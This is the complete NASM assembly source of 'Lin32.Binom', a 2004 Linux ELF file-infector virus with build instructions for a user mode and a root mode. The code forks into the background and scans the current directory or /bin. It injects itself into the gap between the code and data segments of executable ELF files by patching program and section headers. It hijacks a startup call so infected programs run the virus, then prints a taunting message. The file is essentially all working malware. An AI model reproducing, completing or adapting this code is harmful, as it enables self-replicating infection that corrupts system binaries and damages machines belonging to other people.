;
;
;                         _______ __   __ __   _ _______  _____  _     _
;                         |         \_/   | \  | |______ |     |  \___/
;                         |_____     |    |  \_| |______ |_____| _/   \_
;
;
;                                     proudly presents
;
;         .____    .__       ________  ________   __________.__
;         |    |   |__| ____ \_____  \ \_____  \  \______   \__| ____   ____   _____
;         |    |   |  |/    \  _(__  <  /  ____/   |    |  _/  |/    \ /  _ \ /     \
;         |    |___|  |   |  \/       \/       \   |    |   \  |   |  (  <_> )  Y Y  \
;         |_______ \__|___|  /______  /\_______ \ /\______  /__|___|  /\____/|__|_|  /
;                 \/       \/       \/         \/ \/      \/        \/
;                                                              Date: 2.10.2004
;
;
;  |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|         |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;  -|-|-| I*N*T*R*O*D*U*C*T*I*O*N |-|-|-|-         -|-|-|-|-|-| C*O*M*P*I*L*E |-|-|-|-|-|-
;
;     Well I dont want to tell you much               There are options to compile this
;    about this project... Just check                source: FUCK_USER or FUCK_SYSTEM
;    out the code and build your own
;    oppinion. I'd like to thank to all              bash:# nasm -f elf -D [OPTION] -o \
;    people on #DCA , #vx-lab , #lin32asm                     binom.o binom.asm
;    for all their support.                          OPTION=FUCK_USER or FUCK_SYSTEM
;    And now something special to my dar-
;    ling: Caline I'll always love you.              bash:# gcc -o binom binom.o
;
;
;       |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;               -|-|-|-|-|-|-|-|-|-|-|-| A*B*O*U*T |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
;                         |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;
;                             Like I said there 2 options.Binom
;                            means "two" so you'll have 2 versions
;                            of the virus. Its quite simple since
;                            it uses macros.
;
;             Option          FUCK_USER         |      FUCK_SYSTEM
;         ------------------|------------------------------------------
;         Path to infect    | "."               |       "/bin"
;         -------------------------------------------------------------
;            File type      |      ELF          |         ELF
;         -------------------------------------------------------------
;         Required rights   |  normal           |       root
;         -------------------------------------------------------------
;           Infecting       | SPI + Abuse of    |   SPI + Abuse of
;          technique        | _libc_start_main  |   shard libraries
;        --------------------------------------------------------------
;                           |  yes(calculating  |      yes
;              EPO          |return addr using  |
;                           |relative offsets)  |
;        --------------------------------------------------------------
;            Payload        |   yes(print msg)  |     yes(print msg)
;        --------------------------------------------------------------
;                           |  no (change       |  no(change push
;            Change entry   | call instruction  |  instruction in the
;             point         | in the startup    |  startup routine
;                           | routine)          |
;        --------------------------------------------------------------
;           Files nr. to    |       all         |         all
;             infect        |                   |
;        --------------------------------------------------------------
;           Invisible       |  yes(foking to    |  yes(froking to back-
;                           |    background)    |    ground)
;        --------------------------------------------------------------
;
;
;                       |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;             -|-|-|-|-|-|-|-|-|-|-|-| E*O*F |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
;      |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|



%define SYS.FORK 2
%define SYS.READ 3
%define SYS.WRITE 4
%define SYS.OPEN 5
%define SYS.CLOSE 6
%define SYS.CHDIR 12
%define SYS.LSEEK 19
%define SYS.GETUID 24
%define SYS.GETGID 47
%define SYS.READDIR 89
%define SYS.MMAP 90
%define SYS.UNMMAP 91
%define SYS.STAT 106
%define SYS.GETCWD 183

%define STRUCT_STAT_SZ 64
%define STRUCT_DIRENT_SZ 266
%define STRUCT_MMAP_SZ 24
%define LOCAL_STACK_SZ 80
%define GLOBAL_STRUCT_SZ 134
%define MAGIC_FILE_MODE 7q
%define MAGIC_FILE_BIT_MASK 170000q
%define MAGIC_ELF 0x464c457f
%define MAGIC_ELF_BASE 0x8048000
%define MAGIC_VIRUS_SIZE 0x1000
%define E_TYPE_OFFSET 16
%define E_ENTRY 0x18
%define E_PHOFF 0x1c
%define E_PHENTSIZE 0x20
%define E_SHOFF 0x20
%define E_SHENTSIZE 0x28
%define E_PHNUM 0x2c
%define E_SHNUM 0x30
%define PHDR_INDEX_DATA 3
%define PHDR_INDEX_TEXT 2
%define PHDR_P_FILESZ 16
%define PHDR_P_MEMSZ 20
%define PHDR_P_VADDR 8
%define SHDR_SH_OFFSET 16
%define SHDR_SH_SIZE 20

%ifdef FUCK_SYSTEM

%define FIRST_PATH 0x0

%endif



%ifdef FUCK_USER

%define FIRST_PATH 0x2e

%endif

%define PATH_LENGHT 128
%define REG_FILE 10q
%define DIREC 4q
%define POINT 0x002e
%define DOUBLE_POINT 0x2e2e

section .text


global main

main:
                      pusha
                      pushf

		      push ebp
		      mov esp,ebp

		      ; fork us baby ....
		      mov eax,SYS.FORK
		      mov ebx,0
		      int 0x80

		      ; checking wheter child or parent process
		      ; is active

		      cmp eax,0
		      jne parent_process

child_process:
                      ; first of all we must get the sysuid of current
		      ; user...maybe we're root ;))

		      mov eax,SYS.GETUID
		      int 0x80

		      push eax

		      ; get gid and store it on stack...
		      mov eax,SYS.GETGID
		      int 0x80

		      push eax

		      ; allocate space for the stat structure
		      ; which will be needed by the stat function...
		      ; then we'll scan beginning with "/" all directories
		      ; and searching for ELF files.

		      sub esp,STRUCT_STAT_SZ

		      ; here are the "default" infos which are needed by stat()
		      push dword FIRST_PATH               ; first path to 	start with scaning
		      push dword 0x7                      ; file permissions


%ifdef FUCK_SYSTEM
		      mov esi,_system

%endif

		      ; start scaning beginning with FIRST_PATH
		      call scan4files

		      add esp,4*2                         ; restore "default" infos
                      add esp,STRUCT_STAT_SZ              ; restore stat structure
		      add esp,8	                          ; restore gid and uid
		      jmp restore_data

parent_process:
                      mov eax,SYS.WRITE
		      mov ebx,1
		      mov ecx,payload
		      mov edx,len
		      int 0x80

		      jmp _exit

scan4files:

%ifdef FUCK_USER
                      mov esi,esp
                      add esi,8

%endif


		      mov edi,esp
		      add edi,4                           ; edi = access permissions


		      ; store some space for our "global" structure for files
		      ; this structure will contain the needed file descriptor
		      ; , the access permissions and the complete path name
		      ; of that file...

		      sub esp,4                           ; fd
		      sub esp,1                           ; permissions
		      sub esp,1                           ; file type : reg file or directory
		      sub esp,PATH_LENGHT                 ; complete path lenght of file
		      ;---> GLOBAL_STRUCT_SZ = size of this "global" structure


		      ; stat our file name and complete the global structure
		      ; with necessary information

		      mov eax,SYS.STAT
		      mov ebx,esi                         ; file name
		      mov ecx,ebp                         ; BASE pointer
		      sub ecx,STRUCT_STAT_SZ              ; move to beginning of our stat structure
		      int 0x80

		      cmp eax,0x0
		      jge stat_ok
		      jmp _stat_error




restore_data:
                      pop ebp
                      popf
                      popa

		      jmp _exit

stat_ok:
                      ; checking permissions on FIRST_PATH
		      mov ebx,ebp
		      sub ebx,STRUCT_STAT_SZ             ; move to stat structure

		      mov ax,[ebx+8]                     ; stat.st_mode

		      ; comparing uid of FIRST_PATH with uid of currently
		      ; executed file...

		      mov cx,word [ebx+12]               ; stat.st_uid
		      cmp word cx,[ebp-4]
		      je user_permission                 ; we have user permission on FIRST_PATH

		      mov cx,word [ebx+14]
		      cmp word cx,[ebp-8]
		      je group_permission                ; group access

		      ; check if we're root ... hehe..

		      cmp word [ebp-8],0
		      je user_permission

others_permission:
                      ; ax = stat.st_mode ( look below )
		      and al,MAGIC_FILE_MODE
		      jmp access_file

user_permission:
                      shr ax,0x6
		      and al,MAGIC_FILE_MODE
		      jmp access_file

group_permission:
                      shr ax,0x3
		      and al,MAGIC_FILE_MODE


access_file:
                      ; store access permissions to our global
		      ; structure

		      mov byte [esp+PATH_LENGHT+1],al   ; permissions

		      ; checking file type : REG_FILE or DIREC

		      mov ebx,ebp
		      sub ebx,STRUCT_STAT_SZ
		      mov ax,[ebx+8]                    ; stat.st_mode
		      and ax,MAGIC_FILE_BIT_MASK
		      shr ax,12

		      ; store file type to glob. structure...
		      mov byte [esp+PATH_LENGHT],al

		      ; checking if REG_FILE or DIREC ...
		      mov al,byte [esp+PATH_LENGHT]
		      cmp al,DIREC
		      je directory                      ; jmp if file name is a directory

		      cmp al,REG_FILE
		      je near regular_file              ; jmp if regular file...

		      jmp _access_error


directory:
                      ; save current working directory...

		      mov eax,SYS.GETCWD
		      mov ebx,esp
		      mov ecx,PATH_LENGHT
		      int 0x80

		      ; opening directory...

		      mov eax,SYS.OPEN
		      mov ebx,esi                       ; file name
		      mov ecx,0                         ; ecx = 0 = O_RDONLY
		      mov edx,0
		      int 0x80

		      ; check returned file descriptor....

		      cmp eax,0x0
		      jge open_ok
		      jmp _open_error

open_ok:
                      ; save file descriptor to our glob.structure...

		      mov [esp+PATH_LENGHT+2],eax       ; file descriptor

		      ; chdir to that directory so we can search for another
		      ; files in that directory...

		      mov eax,SYS.CHDIR
		      mov ebx,esi                       ; file name
		      int 0x80

		      ; allocating stack space for our dirent structure
		      ; which will be needed for searching new files etc.


		      sub esp,STRUCT_DIRENT_SZ

read_directory:

                      mov eax,SYS.READDIR
		      mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2]
		                                        ; file descriptor
		      mov ecx,esp
		      mov edx,1
		      int 0x80

		      cmp eax,0x1
		      jne near _readdir_error

		      ; search for files in the directory and call scan4files...
		      ; we'll have to skip "." and ".." coz they're
                      ; irrelevant to us


		      cmp word [esp+10],POINT           ; [esp+10]=dirent.d_name
		      je skip_points

		      cmp word [esp+10],DOUBLE_POINT
		      je skip_points

		      xor eax,eax
		      mov al,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+1]
		                                        ; file permissions
		      add esp,10                        ; dirent.d_name

%ifdef FUCK_USER
                      push eax

%endif

%ifdef FUCK_SYSTEM
	 	      mov esi,esp

%endif
		      call scan4files

%ifdef FUCK_USER
		      add esp,4                         ; restore that "push eax"

%endif
		      sub esp,10                        ; restore "add esp,10"


skip_points:
                      jmp read_directory


regular_file:
                      ; open file with flags READ & WRITE

		      mov eax,SYS.OPEN
		      mov ebx,esi                       ; esi = file name
		      xor ecx,ecx
		      mov ecx,2
		      int 0x80

		      cmp eax,0
		      jg file_write_perms

		      jmp scan_return

file_write_perms:

		      ; save opened file descriptor to global structure

		      mov [esp+PATH_LENGHT+2],eax

		      ; finding out file's size using lseek ;)

		      mov eax,SYS.LSEEK
		      mov ebx,[esp+PATH_LENGHT+2]       ; fd
		      xor ecx,ecx
		      mov edx,2                         ; SEEK_END
		      int 0x80

file_map:
                      mov ecx,eax                       ; ecx = file lenght
                      mov eax,SYS.MMAP
		      mov edx,[esp+PATH_LENGHT+2]       ; fd

		      ; declaring mmap structure ...
		      sub esp,STRUCT_MMAP_SZ
		      mov dword [esp],0                 ; int start
		      mov [esp+4],ecx                   ; file lenght
		      mov dword [esp+8],3               ; READ_WRITE
		      mov dword [esp+12],1              ; MAP_SHARED
		      mov dword [esp+16],edx            ; fd
		      mov dword [esp+20],0              ; int offset
		      mov ebx,esp                       ; pointer to mmap structure
		      int 0x80

		      ; restoring mmap structure...
		      add esp,STRUCT_MMAP_SZ

		      cmp eax,-1
		      jne file_map_ok

		      jmp scan_return

file_map_ok:
                      ; save us some stack where we can store mmap addr,file
                      ; lenght etc...

		      mov esi,eax
		      mov ebx,[eax]
	              mov edx,MAGIC_ELF
		      cmp edx,ebx
		      je file_is_elf

close_target:
                      mov ebx,esi
		      mov eax,SYS.UNMMAP
		      int 0x80

		      mov eax,SYS.CLOSE
		      mov ebx,[esp+PATH_LENGHT+2]
		      int 0x80


		      jmp scan_return

file_is_elf:
                      ; ok...we found an ELF file.but remember there are
		      ; several ELF file types like : executables, objects,
		      ; relocatables...only the executable ones are for us
		      ; relevant...




file_elf_exec:
                      ; checking is found file is an executable ELF file...
		      ; therefore we will jump at offset ehdr.e_type and will
		      ; compare the value with 2 . if the value = 2 then we found
		      ; an executable and we can start with the infection of our file..

		      mov eax,esi                       ; esi = addr of maped file
		      add eax,E_TYPE_OFFSET
		      mov eax,[eax]                     ; data pointed by eax(addr of maped file)

		      mov edx,eax
		      xor eax,eax
		      mov al,dl                         ; we only need the first byte

		      cmp byte al,0x2                   ; checking if ehdr.e_type == ET_EXEC
		      je elf_exec_ok
		      jmp close_target

elf_exec_ok:
                      ; we need some stack for storing our mmap addr , file
                      ; lenght , etc.

		      sub esp,LOCAL_STACK_SZ

		      mov [esp+4],esi                   ; mmap addr
		      mov [esp+8],ecx                   ; file lenght

		      mov eax,[esi+E_ENTRY]             ; ehdr.e_entry
		      mov [esp+12],eax                  ; store entry point

		      mov eax,[esi+E_PHOFF]             ; ehdr.e_phoff
		      mov [esp+16],eax                  ; store phdr offset

		      mov eax,[esi+E_SHOFF]             ; ehdr.e_shoff
		      mov [esp+20],eax                  ; store shdr offset

		      mov eax,[esi+E_PHNUM]
		      and eax,0xffff                    ; ehdr.e_phnum
		      mov [esp+24],eax                  ; store phdr number

		      mov eax,[esi+E_SHNUM]
		      and eax,0xffff                    ; ehdr.e_shnum
		      mov [esp+28],eax                  ; store shdr number

check_if_space:
                      ; checking if space is available between code segment
                      ; and data segment...
		      ; since the code size is limited we must check if there is
		      ; enough space where to insert our virus code.maximum code
		      ; size is restricted by code alignment which is 0x1000=4096.
		      ; SO : if the difference between code and data segment
                      ; is lower than ELF_PAGE_SZ=0x1000 then we'll have to
                      ; cancel our infection routine...

		      mov ebx,[esp+16]                  ; e_phoff
		      add esi,ebx                       ; esi=ptr to mapped
                                                    ; file --> move to first PHDR entry phdr[0]
		      mov ecx,[esi+32*PHDR_INDEX_DATA+PHDR_P_VADDR]
		                                        ; phdr[3].p_vaddr : data segment (RW)

		      mov eax,[esi+32*PHDR_INDEX_DATA+PHDR_P_FILESZ]
		                                        ; phdr[3].p_filesz

		      mov ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		                                        ; phdr[2].p_filesz: text segment (RE)

		      mov [esp+32],ebx                  ; store p_filesz of .text
		      mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; phdr[2].p_vaddr

		      add ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; phdr[2].p_filesz + phdr[2].p_vaddr

	              sub ecx,ebx                       ; phdr[3].p_vaddr - (phdr[2].p_filesz + phdr[2].p_vaddr)

		      mov eax,MAGIC_VIRUS_SIZE          ; the virus size is actually the ELF_PAGE_SIZE
		      cmp ecx,eax
		      jl near no_insertion_space


		      ; from now on the target is actually ready to be infected...
		      ; we have an executable ELF file which has enough space
		      ; between his code and data segment to insert our virus code...


%ifdef FUCK_USER

start_infection:
                      ; first of all we must do some "comparisation" processes..

		      mov eax,[esp+12]                  ; e_entry
		      sub eax,MAGIC_ELF_BASE            ; find out offset to entry code

		      mov esi,[esp+4]                   ; addr to mapped file
		      add esi,eax

		      ; compare "call" of current program with "call" of target
		      ; to see if target was infected by a superiour virus

		      add esi,0x21
		      mov ebx,esi                       ; "beyond the call"

		      sub esi,0x21
		      add esi,0x1d
		      mov ecx,esi                       ; our patch address

		      mov [esp+36],ebx                  ; store addr "beyond the call"
		      mov [esp+40],ecx                  ; store "our patch address"

		      ; now we'll have to patch that addr with our new entry
		      ; point.REMEMBER: the entry point in the EHDR WILL NOT BE
		      ; CHANGED.THATS THE FUNNY THING OF THIS VIRUS ;=)

		      mov esi,[esp+4]                   ; mmap addr
		      mov ebx,[esi+E_PHOFF]             ; offset to first byte
                                                        ; of PHDR
		      add esi,ebx                       ; move to first byte

		      mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		                                        ; p_filesz

		      mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; p_vaddr

		      add ecx,edx                       ; p_vaddr + p_filesz

		      ; align up the new entry point addr
		      ; ALIGN_UP(x) (((x)+15)& ~15)

		      add ecx,15                        ; ecx = new entry
                                                        ; point
		      and ecx,~15

		      mov ebx,[esp+36]                  ; addr beyond the call
		      sub ecx,ebx

		      mov edx,[esp+40]                  ; "patch addr"

		      ; first of all find out the addr which call should have called...
		      mov esi,[esp+36]                  ; beyond the call
		      mov eax,[edx]                     ; patch point
		      add eax,esi                       ; addr we search for

		      mov [edx],ecx                     ; store new addr

		      mov [esp+44],ecx                  ; copy new relative offset to stack

		      mov [esp+48],eax                  ; original addr



%endif

%ifdef FUCK_SYSTEM

start_infection:
                      mov eax,[esp+12]                  ; entry addr
		      sub eax,MAGIC_ELF_BASE            ; offset to entry point

		      mov esi,[esp+4]                   ; mmap addr
		      add esi,eax

		      add esi,0x18                      ; our patch point
                      mov ecx,esi                       ; our patch address

		      sub esi,0x18
		      add esi,0x21                      ; "beyond the call"
		      mov ebx,esi

		      mov [esp+36],ebx                  ; store addr "beyond the call"
		      mov [esp+40],ecx                  ; store "our patch address"

                      mov esi,[esp+4]                   ; mmap addr
		      mov ebx,[esi+E_PHOFF]             ; offset to first byte
                                                    ; of PHDR
		      add esi,ebx                       ; move to first byte

		      mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		                                        ; p_filesz

		      mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; p_vaddr

		      add ecx,edx                       ; p_vaddr + p_filesz

		      ; align up the new entry point addr
		      ; ALIGN_UP(x) (((x)+15)& ~15)

		      add ecx,15                        ; ecx = new entry
                                                    ; point
		      and ecx,~15

		      mov ebx,[esp+40]                  ; our patch addr
		      mov eax,[ebx]

		      ; save original addr to stack
		      mov [esp+48],eax
		      mov [ebx],ecx                     ; patching addr

%endif

patch_e_phoff:
                      mov esi,[esp+4]
		      mov ebx,[esi+E_PHOFF]
		      mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]

		      add esi,ebx

		      ; store p_filesz to stack
		      mov [esp+52],eax

		      ; patch p_filesz
		      add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ],MAGIC_VIRUS_SIZE

		      ; store p_memsz to stack
		      mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ]
		      mov [esp+56],eax

		      ; patch p_memsz
		      add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ],MAGIC_VIRUS_SIZE

		      ; initialize registers for patch_phdr
		      mov edx,[esp+4]                   ; mmap addr
		      mov eax,[esp+16]                  ; old ehdr.e_phoff
		      add edx,eax                       ; move to phdr[0]
		      mov ebx,MAGIC_VIRUS_SIZE
		      mov eax,[esp+32]                  ; old p_filesz
		      mov ecx,[esp+24]                  ; ehdr.e_phnum -> needed by the loop instruction

patch_phdr:
		      cmp dword [edx+4],eax             ; (edx+4)=p_offset
		                                        ; compare if
                                                    ; p_offset >= end of code segment(old p_filesz)
		      jbe next_phdr_entry

		      add dword [edx+4],ebx             ; else patch
                                                    ; p_offset -> new p_offset = old p_offset + MAGIC_VIRUS_SIZE
next_phdr_entry:
                      add edx,E_PHENTSIZE               ; move to next entry
		      loop patch_phdr


		      ; patching ehdr.e_shoff
		      mov ebx,[esp+4]
		      mov ecx,[ebx+E_SHOFF]             ; e_shoff
		      add dword [ebx+E_SHOFF],MAGIC_VIRUS_SIZE

		      mov edx,[esp+4]
		      mov ebx,ecx                       ; old e_shoff
		      add edx,ecx                       ; move to shdr[0]

		      ; initialize registers for patch_shdr
		      mov ecx,[esp+28]                  ; ehdr.e_shnum
		      mov eax,[esp+32]                  ; old p_filesz

patch_shdr:
                      cmp dword [edx+SHDR_SH_OFFSET],eax
		                                        ; compare if
                                                    ; shdr.sh_offset >= old p_filesz
		      jge do_patch

		      mov ebx,dword [edx+SHDR_SH_OFFSET]
		      add ebx,dword [edx+SHDR_SH_SIZE]
		      cmp ebx,eax                       ; if sh_offset + sh_size == old p_filesz

		      je patch_sh_size                  ; patch the code segment
		      jmp next_shdr_entry

patch_sh_size:
                      ; include trailing code in last section
		      ; of code segment (should be .rodata)

                      add ebx,MAGIC_VIRUS_SIZE          ; increase lenght of .rodata
		      jmp next_shdr_entry

do_patch:
                      add dword [edx+SHDR_SH_OFFSET],MAGIC_VIRUS_SIZE
		                                        ; patch sh_offset

next_shdr_entry:
                      add edx,E_SHENTSIZE               ; next SHDR entry
		      loop patch_shdr


fuck_em_all:
                      mov ebx,[esp+LOCAL_STACK_SZ+PATH_LENGHT+2]
		                                        ; fd
		      xor ecx,ecx                       ; ecx=0=beginning of file
		      xor edx,edx                       ; edx=0=SEEK_SET
		      mov eax,SYS.LSEEK
		      int 0x80

		      ; seek to end of code segment(old p_filesz)
		      mov ecx,[esp+32]                  ; old p_filesz
		      mov eax,SYS.LSEEK
		      int 0x80

		      ; caution: lame coding style ;)

		      ; now we'll need to "save" the original content
		      ; of the file so we can copy it after infecting
		      ; file...therefore we'll use sys.read..
		      ; like i said ; quite lame ;)
		      mov eax,[esp+32]                  ; old p_filesz
		      mov ebx,[esp+8]                   ; file lenght
		      sub ebx,eax

		      sub esp,ebx                       ; create temporary stack

		      mov edx,ebx
		      mov esi,edx                       ; ebx=edx=esi=difference

		      ; seeking...
		      mov ebx,[esp+edx+LOCAL_STACK_SZ+PATH_LENGHT+2]
		                                        ; fd
		      mov ecx,[esp+edx+32]              ; old p_filesz
		      xor edx,edx                       ; edx = 0
		      mov eax,SYS.LSEEK
		      int 0x80

		      ; reading...
		      mov edx,esi
		      mov ecx,esp
		      mov eax,SYS.READ
		      int 0x80

write_me:
                      ; we'll gonna seek again in the file...
		      ; but this time with the aligned offset(needed
		      ; to insert our virus code properly)

		      mov ebx,[esp+esi+LOCAL_STACK_SZ+PATH_LENGHT+2]
		                                        ; fd
		      mov ecx,[esp+esi+32]              ; old p_filesz

		      ; ALIGN_UP(x) ...
		      add ecx,15
		      and ecx,~15
		      xor edx,edx                       ; edx=0=SEEK_SET
		      mov eax,SYS.LSEEK
		      int 0x80

		      ; writting... --> pushy
		      mov ecx,pushy
		      mov edx,1
		      mov eax,SYS.WRITE
		      int 0x80

		      ; writting... --> original entry point
		      mov ecx,[esp+esi+48]
		      push ecx
		      mov ecx,esp
		      mov edx,4
		      mov eax,SYS.WRITE
		      int 0x80

		      pop ecx

		      ; writting... --> till _exit
		      mov ecx,main
		      mov edx,len_till_exit
		      mov eax,SYS.WRITE
		      int 0x80

		      ; writting...--> virus_code="ret"
		      mov ecx,virus_code
		      mov edx,vircode_len
		      mov eax,SYS.WRITE
		      int 0x80

		      ; writting...--> after exit
		      mov ecx,test_me
		      mov edx,test_me_len
		      mov eax,SYS.WRITE
		      int 0x80

write_rest_of_file:
                      ; seek after the virus code to insert the rest
		      ; of the file

		      ; seek to beginning of file
		      xor ecx,ecx
		      xor edx,edx
		      mov eax,SYS.LSEEK
		      int 0x80

		      mov ecx,[esp+esi+32]              ; old p_filesz
		      add ecx,MAGIC_VIRUS_SIZE
		      xor edx,edx
		      mov eax,SYS.LSEEK
		      int 0x80

		      mov ecx,esp
		      mov edx,esi
		      mov eax,SYS.WRITE
		      int 0x80                          ; write rest of file

		      add esp,esi                       ; restoring temporary stack


no_insertion_space:

unmap:
                      mov eax,SYS.UNMMAP
		      mov ebx,[esp+4]                   ; mmap addr
		      mov ecx,[esp+8]                   ; file lenght
		      int 0x80

		      add esp,LOCAL_STACK_SZ
		      jmp close_target



scan_return:
                      add esp,GLOBAL_STRUCT_SZ
		      ret

_readdir_error:
                      mov eax,SYS.CLOSE                 ; close directory
		      mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2]
                      add esp,STRUCT_DIRENT_SZ          ; restore dirent structure

		      mov eax,SYS.CHDIR                 ; move to previous current directory
		      mov ebx,esp                       ; old PATH
		      int 0x80

		      jmp _stat_error

_open_error:

		      jmp _stat_error
_access_error:

_stat_error:

                      add esp,GLOBAL_STRUCT_SZ          ; restore data allocated for our global structure
		      ret


len_till_exit equ $-main
_exit:
                      xor eax,eax
                      inc eax
                      int 0x80

test_me:

%ifdef FUCK_USER

payload db "[[ Cyneox/DCA (C) Copyright 2004 ]]!",0xA
len equ $-payload

%endif



%ifdef FUCK_SYSTEM

payload db "<< ..You've been binomitized!.. >> by cyneox",0xA
len equ $-payload

_system db "/bin",0x0                                  ; path where to search in when "fucking" up the whole system

%endif


pushy:
                     push dword 0x0

virus_code:
                     ret
vircode_len equ $-virus_code

test_me_len equ $-test_me